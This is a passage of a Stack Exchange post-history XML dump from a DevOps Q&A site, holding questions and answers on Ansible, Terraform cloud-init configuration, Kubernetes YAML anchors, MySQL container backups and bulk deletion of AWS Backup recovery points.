output:&#xD;&#xA;```&#xD;&#xA;ok: [localhost] =&gt; {}&#xD;&#xA;```&#xD;&#xA;I can't find what is wrong with set_fact , anyone have an idea please ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39375" PostHistoryTypeId="1" PostId="12832" RevisionGUID="ca4a0fb7-4fed-4865-970a-37cca4895283" CreationDate="2020-11-23T16:41:49.270" UserId="24036" Text="Ansible set_fact/debug problem" ContentLicense="CC BY-SA 4.0" />
  <row Id="39376" PostHistoryTypeId="3" PostId="12832" RevisionGUID="ca4a0fb7-4fed-4865-970a-37cca4895283" CreationDate="2020-11-23T16:41:49.270" UserId="24036" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39377" PostHistoryTypeId="2" PostId="12833" RevisionGUID="8d62d866-5c64-4e74-9cf8-95cc62c6ef08" CreationDate="2020-11-23T18:11:04.590" UserId="18602" Text="We keep a RO clone of the important DB's.  Any dev can access the basic RO clone if he's in the right dev group vpn,  because the cloudsql instances are deployed in a private service net that peers with our private net and get be gotten to from the outside.  If not they can get added it a group..  Then they just need the ip address and they need the user and password.  There's an ROnly user given access to everything the postgres user gets, just RO.&#xD;&#xA;&#xD;&#xA;PII data goes in a second PII DB, which is set up the same, but requires our compliance department to vet the person for pii access&#xD;&#xA;&#xD;&#xA;We also have a firm policy of no poking the DB.  Look at it, sure, clone if you have to to determine how to fix a data error, but no raw manhandling.  It's to be done with a (possibly one shot) module off the codes db admin function." ContentLicense="CC BY-SA 4.0" />
  <row Id="39379" PostHistoryTypeId="6" PostId="12826" RevisionGUID="5937de62-b5bf-47b0-970c-1a4cb1d2f715" CreationDate="2020-11-23T21:12:42.540" UserId="24848" Comment="edited tags" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39380" PostHistoryTypeId="2" PostId="12834" RevisionGUID="3bc11fe4-680c-418e-a843-64c4b5d4a5ef" CreationDate="2020-11-23T22:09:14.570" UserId="24855" Text="[this feature][1] was recently merged to ansible devel branch. It would be posible using:&#xD;&#xA;&#xD;&#xA;    - import_playbook: testns.testcoll.default_collection_playbook&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/ansible/pull/67435" ContentLicense="CC BY-SA 4.0" />
  <row Id="39381" PostHistoryTypeId="2" PostId="12835" RevisionGUID="1e124f7c-5aae-4b57-9e8f-c258db35b004" CreationDate="2020-11-23T22:38:38.323" UserId="2463" Text="The `cloudinit` provider only knows how to _encode_ multipart MIME documents to pass to cloud init; there is no mechanism for _parsing_ to modify and then re-encode.&#xD;&#xA;&#xD;&#xA;However, a different way to frame your problem is of constructing a sequence of part objects in a local value and then passing them all together to the `cloudinit_config` data source, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;locals {&#xD;&#xA;  core_config = tolist([&#xD;&#xA;    {&#xD;&#xA;      content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;      content      = file(&quot;${path.module}/scripts/core_script1.sh&quot;)&#xD;&#xA;    },&#xD;&#xA;    {&#xD;&#xA;      content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;      content      = file(&quot;${path.module}/scripts/core_script2.sh&quot;)&#xD;&#xA;    },&#xD;&#xA;  ])&#xD;&#xA;  custom_config = tolist([&#xD;&#xA;    {&#xD;&#xA;      content_type = &quot;text/x-shellscript&quot;&#xD;&#xA;      content      = file(&quot;${path.module}/scripts/custom_script.sh&quot;)&#xD;&#xA;    },&#xD;&#xA;  ])&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;cloudinit_config&quot; &quot;core&quot; {&#xD;&#xA;  dynamic &quot;part&quot; {&#xD;&#xA;    for_each = local.core_config&#xD;&#xA;    content {&#xD;&#xA;      content_type = part.value.content_type&#xD;&#xA;      content      = part.value.content&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;cloudinit_config&quot; &quot;custom&quot; {&#xD;&#xA;  dynamic &quot;part&quot; {&#xD;&#xA;    for_each = concat(&#xD;&#xA;      local.core_config,&#xD;&#xA;      local.custom_config,&#xD;&#xA;    )&#xD;&#xA;    content {&#xD;&#xA;      content_type = part.value.content_type&#xD;&#xA;      content      = part.value.content&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;vm1&quot; {&#xD;&#xA;  instance_type = &quot;t2.small&quot;&#xD;&#xA;  ami           = data.aws_ami.ubuntu_ami.image_id&#xD;&#xA;  &#xD;&#xA;  # ...&#xD;&#xA;&#xD;&#xA;  user_data = data.cloudinit_config.core.rendered&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_instance&quot; &quot;vm2&quot; {&#xD;&#xA;  instance_type = &quot;t2.small&quot;&#xD;&#xA;  ami           = data.aws_ami.ubuntu_ami.image_id&#xD;&#xA;  &#xD;&#xA;  # ...&#xD;&#xA;&#xD;&#xA;  user_data = data.cloudinit_config.custom.rendered&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The above is using [`dynamic` blocks](https://www.terraform.io/docs/configuration/expressions.html#dynamic-blocks) to generate a dynamic number of `part` blocks based on the number of elements in a list, which means you can focus on making sure the lists have the necessary items, using whatever dynamic expressions you need to decide that, and have Terraform project that into zero or more `part` blocks automatically.&#xD;&#xA;&#xD;&#xA;**Note:** the `hashicorp/template` provider has been deprecated and continues to be available only for backward-compatibility. For that reason, I wrote the above to use [the `hashicorp/cloudinit` provider](https://registry.terraform.io/providers/hashicorp/cloudinit/latest) instead. Its [`cloudinit_config` data source](https://registry.terraform.io/providers/hashicorp/cloudinit/latest/docs/data-sources/cloudinit_config) is based on what was formerly `template_cloudinit_config`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39382" PostHistoryTypeId="2" PostId="12836" RevisionGUID="cc9eaea0-135b-4388-a425-ac711bdaa751" CreationDate="2020-11-24T06:48:04.227" UserId="24859" Text="I am using velero for k8s cluster backup. I was looking for possible backup status in velero.&#xD;&#xA;I couldn't find any proper documentation on this. Can someone please help" ContentLicense="CC BY-SA 4.0" />
  <row Id="39383" PostHistoryTypeId="1" PostId="12836" RevisionGUID="cc9eaea0-135b-4388-a425-ac711bdaa751" CreationDate="2020-11-24T06:48:04.227" UserId="24859" Text="What are possible backup status in velero?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39384" PostHistoryTypeId="3" PostId="12836" RevisionGUID="cc9eaea0-135b-4388-a425-ac711bdaa751" CreationDate="2020-11-24T06:48:04.227" UserId="24859" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39385" PostHistoryTypeId="5" PostId="12829" RevisionGUID="95b4752c-87d1-4848-9c41-198e27ca538c" CreationDate="2020-11-24T10:23:38.597" UserId="18007" Comment="Edit the tags" Text="I have the following code which works in gitlab (without the `sh` part):&#xD;&#xA;&#xD;&#xA;    sh '''&#xD;&#xA;    mkdir ./pylint&#xD;&#xA;    docker run --rm --entrypoint=/usr/local/bin/pylint ${IMAGE_NAME}:${IMAGE_VERSION} --rcfile=.pylintrc --exit-zero ${MODULE} &gt; ./pylint/pylint.log&#xD;&#xA;    PYLINT_SCORE=$(sed -n 's/^Your code has been rated at \([-0-9.]*\)\/.*/\1/p' ./pylint/pylint.log)&#xD;&#xA;    '''&#xD;&#xA;What it does, it takes the value `8.25` from this line: `Your code has been rated at 8.52/10`&#xD;&#xA;&#xD;&#xA;I'm trying also to use it in my `Jenkinsfile`, but gets the following exception:&#xD;&#xA;&#xD;&#xA;    WorkflowScript: 50: unexpected char: '\' @ line 50, column 75.&#xD;&#xA;       /^Your code has been rated at \([-0-9.]*&#xD;&#xA;&#xD;&#xA;any idea how to fix it? maybe use other command than `sed` to get the require output?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39386" PostHistoryTypeId="6" PostId="12829" RevisionGUID="95b4752c-87d1-4848-9c41-198e27ca538c" CreationDate="2020-11-24T10:23:38.597" UserId="18007" Comment="Edit the tags" Text="&lt;jenkinsfile&gt;&lt;groovy&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39387" PostHistoryTypeId="24" PostId="12829" RevisionGUID="95b4752c-87d1-4848-9c41-198e27ca538c" CreationDate="2020-11-24T10:23:38.597" Comment="Proposed by 18007 approved by 20300 edit id of 1299" ContentLicense="CC BY-SA 4.0" />
  <row Id="39388" PostHistoryTypeId="2" PostId="12837" RevisionGUID="846b25b3-3a87-44b1-8555-ea803d59c9a2" CreationDate="2020-11-24T10:39:23.330" UserId="19083" Text="I have `deployment.yaml` file and want to reuse environment for all my deployments like this&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: beat&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: beat&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: beat&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: beat&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;, &quot;beat&quot;]&#xD;&#xA;        env: &amp;default&#xD;&#xA;        - name: FIRST_ENV&#xD;&#xA;          value: my-value&#xD;&#xA;        - name: SECOND_ENV&#xD;&#xA;          value: another-value&#xD;&#xA;---&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: flower&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: flower&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: flower&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: flower&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;flower&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;]&#xD;&#xA;        env: *defaultenv&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But it seems like `kubectl apply -f deployment.yaml` won't work with YAML achors&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;error: error parsing deployment.yaml: error converting YAML to JSON: yaml: unknown anchor 'defaultenv' referenced&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is it possible to use yaml anchors or is there another preferred approach of how to reuse repeating blocks for k8s configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39389" PostHistoryTypeId="1" PostId="12837" RevisionGUID="846b25b3-3a87-44b1-8555-ea803d59c9a2" CreationDate="2020-11-24T10:39:23.330" UserId="19083" Text="Kubernetes configuration with yaml anchors" ContentLicense="CC BY-SA 4.0" />
  <row Id="39390" PostHistoryTypeId="3" PostId="12837" RevisionGUID="846b25b3-3a87-44b1-8555-ea803d59c9a2" CreationDate="2020-11-24T10:39:23.330" UserId="19083" Text="&lt;kubernetes&gt;&lt;deployment&gt;&lt;yaml&gt;&lt;kubectl&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39391" PostHistoryTypeId="2" PostId="12838" RevisionGUID="846e089a-ed34-4759-8921-21d33bb3359b" CreationDate="2020-11-24T12:04:05.830" UserId="24706" Text="The preferred way is to use helm and create a chart. Helm practically generates your manifests based on templates. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39392" PostHistoryTypeId="2" PostId="12839" RevisionGUID="eb3d9a94-6708-4957-9e85-343a70e94eb0" CreationDate="2020-11-24T13:15:21.400" UserId="18569" Text="1. In my opinion there should be a staging branch , which holds the production candidate code.And instead of a Test env , have a staging env which will be complete replica of Prod env. In the Staging env the QA can perform their testing and other checks.&#xD;&#xA;&#xD;&#xA; - Dev env =  only for developer.&#xD;&#xA; - Stage env =  Replica of Prod and holds production candidate build/code , where QA can perform their testing and simulate Prod.&#xD;&#xA;&#xD;&#xA;Having a Staging branch has its benefit as you can have code which will merge to master and deploy to prod , and the developer can experiment/work on develop branch without worrying of any accidental merge to master directly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Once someone completes a feature or fixes a bug/error or implementation is done and testing needs to be performed.&#xD;&#xA;&#xD;&#xA;3. same as above.&#xD;&#xA; &#xD;&#xA;4. Once the code has been passes the test's and QA verified on staging env and No new   feature are to be added to Prod , it can be merged to master.&#xD;&#xA;&#xD;&#xA;5. No new feature are to be added to Prod , QA passed and test cases passed, it can be merged to master &#xD;&#xA;&#xD;&#xA;6. That's where the Staging branch will help , as even if code fails on stage as it is supposed to be complete replica of prod env. we can revert or commit the fix again without worrying of our master branch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39393" PostHistoryTypeId="2" PostId="12840" RevisionGUID="f4a092c7-8255-49b0-aa59-d07f1a725952" CreationDate="2020-11-24T13:19:58.983" UserId="18569" Text="you can try google cloud run. here you can run containerized applications on a fully managed serverless platform. You might have to containerize your application.&#xD;&#xA;But it can help you reduce the cost as  the min container can be 0 (zero) and if any to your app is there cloud run can automatically scale to meet the demand.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39394" PostHistoryTypeId="2" PostId="12841" RevisionGUID="7d5970a9-f8ec-43d5-8457-ef25fcb4b8b8" CreationDate="2020-11-24T16:52:40.900" UserId="19257" Text="based on @ulrich answer, but with **mysqldump** :&#xD;&#xA;```bash&#xD;&#xA;DATE_TIME=`date +&quot;%Y%m%d_%H%M&quot;&#xD;&#xA;CONTAINER_NAME=&quot;mysql_server&quot;&#xD;&#xA;CONTAINER=`docker ps -q -f name=${CONTAINER_NAME}`&#xD;&#xA;PASSWORD=`docker exec ${CONTAINER} sh -c 'echo $MYSQL_ROOT_PASSWORD'`&#xD;&#xA;BACKUP_FILE=${DATE_TIME}_${CONTAINER_NAME}.backup.sql.gz&#xD;&#xA;CONTAINER_BACKUP_DIR=&quot;/var/lib/mysql/&quot;&#xD;&#xA;HOST_DATA_DIR=&quot;/path/on/my/VM/correspond/to/docker/volume/&quot;&#xD;&#xA;HOST_BACKUP_DIR=&quot;/other/path/on/VM/&quot;&#xD;&#xA;## run backup in container&#xD;&#xA;docker exec ${CONTAINER} sh -c &quot;/usr/bin/mysqldump -h localhost -u root -p${PASSWORD} --all-databases | gzip -9 -c &gt; ${CONTAINER_BACKUP_DIR}${BACKUP_FILE}&quot;&#xD;&#xA;## move to final folder &#xD;&#xA;mv ${HOST_DATA_DIR}${BACKUP_FILE} ${HOST_BACKUP_DIR}&#xD;&#xA;```&#xD;&#xA;HOST_DATA_DIR and HOST_BACKUP_DIR are differents because I have an other daemon to save backup to a data center, and because in HOST_DATA_DIR, root can only read and execute (r_x).  &#xD;&#xA;For all folder paths, be careful to have a final '/', otherwise you should be surprised!&#xD;&#xA;&#xD;&#xA;and if you run it automatically with a CRON job, it should be helpfull to manage rotate to delete old backup: &#xD;&#xA;```bash&#xD;&#xA;## rotate save management to keep only last MAX_BACKUP files&#xD;&#xA;MAX_BACKUP=3&#xD;&#xA;${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;echo ${HOST_BACKUP_DIR}${BACKUP_FILE} &gt;&gt; ${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;BACKUPED_NB=$(ls ${HOST_BACKUP_DIR}/*${CONTAINER_NAME}.backup.sql.gz | wc --lines)&#xD;&#xA;TOTAL=$(wc --lines &lt; ${HOST_DATA_DIR}rotate-databases-backup.log)&#xD;&#xA;FILES_NB_TO_DELETE=$(expr $TOTAL - $MAX_BACKUP)&#xD;&#xA;if [[ $FILES_NB_TO_DELETE -gt 0 ]]; then&#xD;&#xA;	head --lines=$FILES_NB_TO_DELETE ${HOST_DATA_DIR}rotate-databases-backup.log | xargs rm&#xD;&#xA;	ls ${HOST_BACKUP_DIR}*${CONTAINER_NAME}.backup.sql.gz &gt; ${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;fi" ContentLicense="CC BY-SA 4.0" />
  <row Id="39395" PostHistoryTypeId="4" PostId="12832" RevisionGUID="c0ea676d-ea2c-48e0-adb2-0ce96d4b4128" CreationDate="2020-11-24T17:02:49.223" UserId="24036" Comment="edited title" Text="SSL Expiration Date" ContentLicense="CC BY-SA 4.0" />
  <row Id="39396" PostHistoryTypeId="5" PostId="12841" RevisionGUID="d44b6a38-f1c7-49ca-bb79-190c1dda47a5" CreationDate="2020-11-24T17:41:04.183" UserId="19257" Comment="small correction" Text="based on @ulrich answer, but with **mysqldump** :&#xD;&#xA;```bash&#xD;&#xA;DATE_TIME=`date +&quot;%Y%m%d_%H%M&quot;&#xD;&#xA;CONTAINER_NAME=&quot;mysql_server&quot;&#xD;&#xA;CONTAINER=`docker ps -q -f name=${CONTAINER_NAME}`&#xD;&#xA;PASSWORD=`docker exec ${CONTAINER} sh -c 'echo $MYSQL_ROOT_PASSWORD'`&#xD;&#xA;BACKUP_FILE=${DATE_TIME}_${CONTAINER_NAME}.backup.sql.gz&#xD;&#xA;CONTAINER_BACKUP_DIR=&quot;/var/lib/mysql/&quot;&#xD;&#xA;HOST_DATA_DIR=&quot;/path/on/my/VM/correspond/to/docker/volume/&quot;&#xD;&#xA;HOST_BACKUP_DIR=&quot;/other/path/on/VM/&quot;&#xD;&#xA;## run backup in container&#xD;&#xA;docker exec ${CONTAINER} sh -c &quot;/usr/bin/mysqldump -h localhost -u root -p${PASSWORD} --all-databases | gzip -9 -c &gt; ${CONTAINER_BACKUP_DIR}${BACKUP_FILE}&quot;&#xD;&#xA;## move to final folder &#xD;&#xA;mv ${HOST_DATA_DIR}${BACKUP_FILE} ${HOST_BACKUP_DIR}&#xD;&#xA;```&#xD;&#xA;HOST_DATA_DIR and HOST_BACKUP_DIR are differents because I have an other daemon to save backup to a data center, and because in HOST_DATA_DIR, root can only read and execute (r_x).  &#xD;&#xA;For all folder paths, be careful to have a final '/', otherwise you should be surprised!&#xD;&#xA;&#xD;&#xA;and if you run it automatically with a CRON job, it should be helpfull to manage rotate to delete old backup: &#xD;&#xA;```bash&#xD;&#xA;## rotate save management to keep only last MAX_BACKUP files&#xD;&#xA;MAX_BACKUP=3&#xD;&#xA;${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;echo ${HOST_BACKUP_DIR}${BACKUP_FILE} &gt;&gt; ${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;BACKUPED_NB=$(ls ${HOST_BACKUP_DIR}*${CONTAINER_NAME}.backup.sql.gz | wc --lines)&#xD;&#xA;TOTAL=$(wc --lines &lt; ${HOST_DATA_DIR}rotate-databases-backup.log)&#xD;&#xA;FILES_NB_TO_DELETE=$(expr $TOTAL - $MAX_BACKUP)&#xD;&#xA;if [[ $FILES_NB_TO_DELETE -gt 0 ]]; then&#xD;&#xA;	head --lines=$FILES_NB_TO_DELETE ${HOST_DATA_DIR}rotate-databases-backup.log | xargs rm&#xD;&#xA;	ls ${HOST_BACKUP_DIR}*${CONTAINER_NAME}.backup.sql.gz &gt; ${HOST_DATA_DIR}rotate-databases-backup.log&#xD;&#xA;fi" ContentLicense="CC BY-SA 4.0" />
  <row Id="39397" PostHistoryTypeId="2" PostId="12842" RevisionGUID="ccbd6103-9d6e-4be7-93d8-034d0e4ac331" CreationDate="2020-11-24T17:54:42.123" UserId="23069" Text="I'm using AWS Backup to create snapshots of my production server. My current backup plan has infinite retention and that ran me into gigabytes of storage. &#xD;&#xA;&#xD;&#xA;What would be the best way to fix that? I saw I can't remove the backups in bulk (can only select and remove each single backup, but I have 100s). &#xD;&#xA;&#xD;&#xA;Is it possible to modify the backup rule so that it removes the previous backups? Or is there a way to select and remove all the backups done by AWS Backup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39398" PostHistoryTypeId="1" PostId="12842" RevisionGUID="ccbd6103-9d6e-4be7-93d8-034d0e4ac331" CreationDate="2020-11-24T17:54:42.123" UserId="23069" Text="How to remove the AWS Backups" ContentLicense="CC BY-SA 4.0" />
  <row Id="39399" PostHistoryTypeId="3" PostId="12842" RevisionGUID="ccbd6103-9d6e-4be7-93d8-034d0e4ac331" CreationDate="2020-11-24T17:54:42.123" UserId="23069" Text="&lt;amazon-web-services&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39400" PostHistoryTypeId="2" PostId="12843" RevisionGUID="d5ded7b6-fb44-48ec-b536-51ef03ddacc5" CreationDate="2020-11-24T20:23:37.123" UserId="9710" Text="For me, I cannot resolve these conflicts.&#xD;&#xA;&#xD;&#xA;**To PREVENT THEM:**&#xD;&#xA;&#xD;&#xA;      i) Make backups outside the folder system for the repository&#xD;&#xA;    &#xD;&#xA;     ii) Totally delete your 'local' folder for the repository.  (Seems&#xD;&#xA;         counterintuitive, but it is all that works for me).  &#xD;&#xA;    &#xD;&#xA;    iii) Re-load 'local' folder from the web-repository.&#xD;&#xA;    &#xD;&#xA;     iv) Eventually, check-in, then it will work.&#xD;&#xA;    &#xD;&#xA;      v) Repeat step i for next time." ContentLicense="CC BY-SA 4.0" />
  <row Id="39401" PostHistoryTypeId="2" PostId="12844" RevisionGUID="2c2cc5c3-a0a1-41e4-a808-25c4213f716a" CreationDate="2020-11-24T20:43:41.380" UserId="1160" Text="I have a web app on a virtual machine scale set that needs to scale based on number of simultaneous connections used rather than CPU power. The closest metric I could find is Inbound Flow, but that goes up with total number of inbound requests, not requests per virtual machine. How can I go about scaling this way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39402" PostHistoryTypeId="1" PostId="12844" RevisionGUID="2c2cc5c3-a0a1-41e4-a808-25c4213f716a" CreationDate="2020-11-24T20:43:41.380" UserId="1160" Text="How do I scale a Virtual Machine Scale Set on Azure based on simultaneous connections?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39403" PostHistoryTypeId="3" PostId="12844" RevisionGUID="2c2cc5c3-a0a1-41e4-a808-25c4213f716a" CreationDate="2020-11-24T20:43:41.380" UserId="1160" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39404" PostHistoryTypeId="2" PostId="12845" RevisionGUID="6741884c-2a21-4a6a-b90d-f149e4b1b178" CreationDate="2020-11-24T21:57:01.490" UserId="8800" Text="Coincidentally I had to do something very similar yesterday. This is the script I used:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;#!/bin/bash -e&#xD;&#xA;&#xD;&#xA;VAULT_NAME=...   # put your Backup Vault name here&#xD;&#xA;&#xD;&#xA;for ARN in $(aws backup list-recovery-points-by-backup-vault --backup-vault-name &quot;${​​​​​​​VAULT_NAME}​​​​​​​&quot; --query 'RecoveryPoints[].RecoveryPointArn' --output text); do&#xD;&#xA;  echo &quot;deleting ${​​​​​​​ARN}​​​​​​​ ...&quot;&#xD;&#xA;  aws backup delete-recovery-point --backup-vault-name &quot;${​​​​​​​VAULT_NAME}​​​​​​​&quot; --recovery-point-arn &quot;${​​​​​​​ARN}​​​​​​​&quot;&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also add `--by-created-before` to delete the old backups only.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39405" PostHistoryTypeId="2" PostId="12846" RevisionGUID="86fe325f-075e-4511-8053-7ec3946c8eba" CreationDate="2020-11-24T23:53:49.160" UserId="23443" Text="A criticism of `Ansible` being that it's not declarative, in that, if it's used to spin up `n` number `VM's`, and then need an additional one, it's not `n+1` but just 1.&#xD;&#xA;&#xD;&#xA;Referencing:&#xD;&#xA;&#xD;&#xA;&gt; Playbooks and Idempotency Idempotent is a fancy word that means that&#xD;&#xA;&gt; you can do something multiple times and the outcome will be the same.&#xD;&#xA;&gt; In Ansible terms, a playbook is considered idempotent if you can run&#xD;&#xA;&gt; it multiple times and after the first run the machine is in a certain&#xD;&#xA;&gt; state, which doesn’t change if you run the same playbook again at any&#xD;&#xA;&gt; point in time after that. Take the playbook that you just wrote, for&#xD;&#xA;&gt; example. The first time that you ran it, it evaluated your playbook&#xD;&#xA;&gt; and applied the necessary transformations to ensure that PHP, nginx,&#xD;&#xA;&gt; and MySQL were installed. You can see that in the Ansible output it&#xD;&#xA;&gt; says that things were changed:&#xD;&#xA;&gt; &#xD;&#xA;from:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ansible: From Beginner to Pro Michael Heap Reading, Berkshire United&#xD;&#xA;&gt; Kingdom ISBN-13 (pbk): 978-1-4842-1660-6 DOI 10.1007/978-1-4842-1659-0&#xD;&#xA;&gt; ISBN-13 (electronic): 978-1-4842-1659-0 Library of Congress Control&#xD;&#xA;&gt; Number: 2016952799 Copyright © 2016 by Michael Heap&#xD;&#xA;&#xD;&#xA;my reading of the above would be that `Ansible` is [declaritve][1] in that, if additional `VM`'s are needed, to provision then for the total.  Is that a correct understanding?&#xD;&#xA;&#xD;&#xA;the [specific][2] criticism being that:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Over time, as you apply more and more updates, each server builds up a&#xD;&#xA;&gt; unique history of changes. This often leads to a phenomenon known as&#xD;&#xA;&gt; configuration drift, where each server becomes slightly different than&#xD;&#xA;&gt; all the others, leading to subtle configuration bugs that are&#xD;&#xA;&gt; difficult to diagnose and nearly impossible to reproduce.&#xD;&#xA;&#xD;&#xA;which seems at odds with the `Apress` text.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Declarative_programming&#xD;&#xA;  [2]: https://blog.gruntwork.io/why-we-use-terraform-and-not-chef-puppet-ansible-saltstack-or-cloudformation-7989dad2865c" ContentLicense="CC BY-SA 4.0" />
  <row Id="39406" PostHistoryTypeId="1" PostId="12846" RevisionGUID="86fe325f-075e-4511-8053-7ec3946c8eba" CreationDate="2020-11-24T23:53:49.160" UserId="23443" Text="Is Ansible declarative?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39407" PostHistoryTypeId="3" PostId="12846" RevisionGUID="86fe325f-075e-4511-8053-7ec3946c8eba" CreationDate="2020-11-24T23:53:49.160" UserId="23443" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;infrastructure-as-code&gt;&lt;provisioning&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39408" PostHistoryTypeId="5" PostId="12846" RevisionGUID="0dd061d7-3bc5-4ac1-b7fc-d058c95f995d" CreationDate="2020-11-24T23:59:12.110" UserId="23443" Comment="added 190 characters in body; edited title" Text="A criticism of `Ansible` being that it's not declarative, in that, if it's used to spin up `n` number `VM's`, and then need an additional one, it's not `n+1` but just 1.&#xD;&#xA;&#xD;&#xA;Referencing:&#xD;&#xA;&#xD;&#xA;&gt; Playbooks and Idempotency Idempotent is a fancy word that means that&#xD;&#xA;&gt; you can do something multiple times and the outcome will be the same.&#xD;&#xA;&gt; In Ansible terms, a playbook is considered idempotent if you can run&#xD;&#xA;&gt; it multiple times and after the first run the machine is in a certain&#xD;&#xA;&gt; state, which doesn’t change if you run the same playbook again at any&#xD;&#xA;&gt; point in time after that. Take the playbook that you just wrote, for&#xD;&#xA;&gt; example. The first time that you ran it, it evaluated your playbook&#xD;&#xA;&gt; and applied the necessary transformations to ensure that PHP, nginx,&#xD;&#xA;&gt; and MySQL were installed. You can see that in the Ansible output it&#xD;&#xA;&gt; says that things were changed:&#xD;&#xA;&gt; &#xD;&#xA;from:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Ansible: From Beginner to Pro Michael Heap Reading, Berkshire United&#xD;&#xA;&gt; Kingdom ISBN-13 (pbk): 978-1-4842-1660-6 DOI 10.1007/978-1-4842-1659-0&#xD;&#xA;&gt; ISBN-13 (electronic): 978-1-4842-1659-0 Library of Congress Control&#xD;&#xA;&gt; Number: 2016952799 Copyright © 2016 by Michael Heap&#xD;&#xA;&#xD;&#xA;my reading of the above would be that `Ansible` is [declaritve][1] in that, if additional `VM`'s are needed, to provision then for the total.  Is that a correct understanding?&#xD;&#xA;&#xD;&#xA;the [specific][2] criticism being that:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Over time, as you apply more and more updates, each server builds up a&#xD;&#xA;&gt; unique history of changes. This often leads to a phenomenon known as&#xD;&#xA;&gt; configuration drift, where each server becomes slightly different than&#xD;&#xA;&gt; all the others, leading to subtle configuration bugs that are&#xD;&#xA;&gt; difficult to diagnose and nearly impossible to reproduce.&#xD;&#xA;&#xD;&#xA;which seems at odds with the `Apress` text.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or,perhaps, they're saying, that you might run a playbook.  Then additional changes are needed.  So, those changes are incorporated, and this constitutes the above &quot;configuration drift&quot;?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Declarative_programming&#xD;&#xA;  [2]: https://blog.gruntwork.io/why-we-use-terraform-and-not-chef-puppet-ansible-saltstack-or-cloudformation-7989dad2865c" ContentLicense="CC BY-SA 4.0" />
  <row Id="39409" PostHistoryTypeId="4" PostId="12846" RevisionGUID="0dd061d7-3bc5-4ac1-b7fc-d058c95f995d" CreationDate="2020-11-24T23:59:12.110" UserId="23443" Comment="added 190 characters in body; edited title" Text="Handling configuration drift with Ansible" ContentLicense="CC BY-SA 4.0" />
